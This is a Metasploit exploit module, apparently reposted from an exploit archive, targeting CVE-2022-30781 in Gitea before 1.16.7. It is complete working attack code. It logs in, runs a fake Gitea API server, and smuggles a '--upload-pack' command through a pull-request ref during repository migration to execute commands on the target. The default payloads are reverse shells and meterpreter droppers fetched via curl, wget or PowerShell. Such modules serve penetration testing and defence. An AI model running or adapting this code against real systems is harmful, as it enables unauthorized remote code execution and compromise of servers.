Share
## https://sploitus.com/exploit?id=PACKETSTORM:169928
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::Remote::HTTP::Gitea  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Gitea Git Fetch Remote Code Execution',  
'Description' => %q{  
This module exploits Git fetch command in Gitea repository migration  
process that leads to a remote command execution on the system.  
This vulnerability affect Gitea before 1.16.7 version.  
},  
'Author' => [  
'wuhan005', # Original PoC  
'li4n0', # Original PoC  
'krastanoel' # MSF Module  
],  
'References' => [  
['CVE', '2022-30781'],  
['URL', 'https://tttang.com/archive/1607/']  
],  
'DisclosureDate' => '2022-05-16',  
'License' => MSF_LICENSE,  
'Platform' => %w[unix linux win],  
'Arch' => ARCH_CMD,  
'Privileged' => false,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => %i[curl wget echo printf],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Windows Command',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Type' => :win_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'  
}  
}  
],  
[  
'Windows Dropper',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :win_dropper,  
'CmdStagerFlavor' => [ 'psh_invokewebrequest' ],  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',  
'CMDSTAGER::URIPATH' => '/payloads'  
}  
}  
]  
],  
'DefaultOptions' => { 'WfsDelay' => 30 },  
'DefaultTarget' => 1,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => []  
}  
)  
)  
  
register_options([  
Opt::RPORT(3000),  
OptString.new('USERNAME', [true, 'Username to authenticate with']),  
OptString.new('PASSWORD', [true, 'Password to use']),  
OptString.new('URIPATH', [false, 'The URI to use for this exploit', '/']),  
])  
end  
  
def cleanup  
super  
return if @uid.nil? || @migrate_repo_created.nil?  
  
[@repo_name, @migrate_repo_name].each do |name|  
res = gitea_remove_repo(repo_path(name))  
if res.nil? || res&.code == 200  
vprint_warning("Unable to remove repository '#{name}'")  
elsif res&.code == 404  
vprint_warning("Repository '#{name}' not found, possibly already deleted")  
else  
vprint_status("Successfully cleanup repository '#{name}'")  
end  
end  
end  
  
def check  
return CheckCode::Safe('USERNAME can\'t be blank') if datastore['username'].blank?  
  
v = get_gitea_version  
gitea_login(datastore['username'], datastore['password'])  
  
if Rex::Version.new(v) <= Rex::Version.new('1.16.6')  
return CheckCode::Appears("Version detected: #{v}")  
end  
  
CheckCode::Safe("Version detected: #{v}")  
rescue Msf::Exploit::Remote::HTTP::Gitea::Error::UnknownError => e  
return CheckCode::Unknown(e.message)  
rescue Msf::Exploit::Remote::HTTP::Gitea::Error::VersionError => e  
return CheckCode::Detected(e.message)  
rescue Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError,  
Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError => e  
return CheckCode::Safe(e.message)  
end  
  
def primer  
[  
'/api/v1/version', '/api/v1/settings/api',  
"/api/v1/repos/#{@migrate_repo_path}",  
"/api/v1/repos/#{@migrate_repo_path}/pulls",  
"/api/v1/repos/#{@migrate_repo_path}/topics"  
].each { |uri| hardcoded_uripath(uri) } # adding resources  
end  
  
def execute_command(cmd, _opts = {})  
if target['Type'] == :win_dropper  
# Git on Windows will pass the command to `sh.exe` and not `cmd`.  
# This requires some adjustments:  
# - Windows environment variables are mapped by `sh.exe`: `%VAR%` becomes `$VAR`  
# - `cmd` uses `&` to join multiple commands, whereas `sh.exe` uses `&&`.  
# - Backslashes need to be escaped with `sh.exe`  
cmd = cmd.gsub(/%(\w+)%/) { "$#{::Regexp.last_match(1)}" }.gsub(/&/) { '&&' }.gsub(/\\/) { '\\\\\\' }  
end  
vprint_status("Executing command: #{cmd}")  
  
@repo_name = rand_text_alphanumeric(6..15)  
@migrate_repo_name = rand_text_alphanumeric(6..15)  
@migrate_repo_path = repo_path(@migrate_repo_name)  
  
vprint_status("Creating repository \"#{@repo_name}\"")  
@uid = gitea_create_repo(@repo_name)  
vprint_good('Repository created')  
vprint_status('Migrating repository')  
clone_url = "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}"  
auth_token = rand_text_alphanumeric(6..15)  
@migrate_repo_created = gitea_migrate_repo(@migrate_repo_name, @uid, clone_url, auth_token)  
@p = cmd  
rescue Msf::Exploit::Remote::HTTP::Gitea::Error::MigrationError,  
Msf::Exploit::Remote::HTTP::Gitea::Error::RepositoryError,  
Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e  
fail_with(Failure::UnexpectedReply, e.message)  
end  
  
def exploit  
unless datastore['AutoCheck']  
fail_with(Failure::BadConfig, 'USERNAME can\'t be blank') if datastore['username'].blank?  
gitea_login(datastore['username'], datastore['password'])  
end  
  
start_service  
primer  
  
case target['Type']  
when :unix_cmd, :win_cmd  
execute_command(payload.encoded)  
when :linux_dropper, :win_dropper  
datastore['CMDSTAGER::URIPATH'] = "/#{rand_text_alphanumeric(6..15)}"  
execute_cmdstager(background: true, delay: 1)  
end  
rescue Timeout::Error => e  
fail_with(Failure::TimeoutExpired, e.message)  
rescue Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e  
fail_with(Failure::UnexpectedReply, e.message)  
rescue Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError => e  
fail_with(Failure::NoAccess, e.message)  
end  
  
def repo_path(name)  
"#{datastore['username']}/#{name}"  
end  
  
def on_request_uri(cli, req)  
case req.uri  
when '/api/v1/version'  
send_response(cli, '{"version": "1.16.6"}')  
when '/api/v1/settings/api'  
data = {  
max_response_items: 50, default_paging_num: 30,  
default_git_trees_per_page: 1000, default_max_blob_size: 10485760  
}  
send_response(cli, data.to_json)  
when "/api/v1/repos/#{@migrate_repo_path}"  
data = {  
clone_url: "#{full_uri}#{datastore['username']}/#{@repo_name}",  
owner: { login: datastore['username'] }  
}  
send_response(cli, data.to_json)  
when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1"  
send_response(cli, '{"topics":[]}')  
when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all"  
data = [  
{  
base: {  
ref: 'master'  
},  
head: {  
ref: "--upload-pack=#{@p}",  
repo: {  
clone_url: './',  
owner: { login: 'master' }  
}  
},  
updated_at: '2001-01-01T05:00:00+01:00',  
user: {}  
}  
]  
send_response(cli, data.to_json)  
when datastore['CMDSTAGER::URIPATH']  
super  
end  
end  
end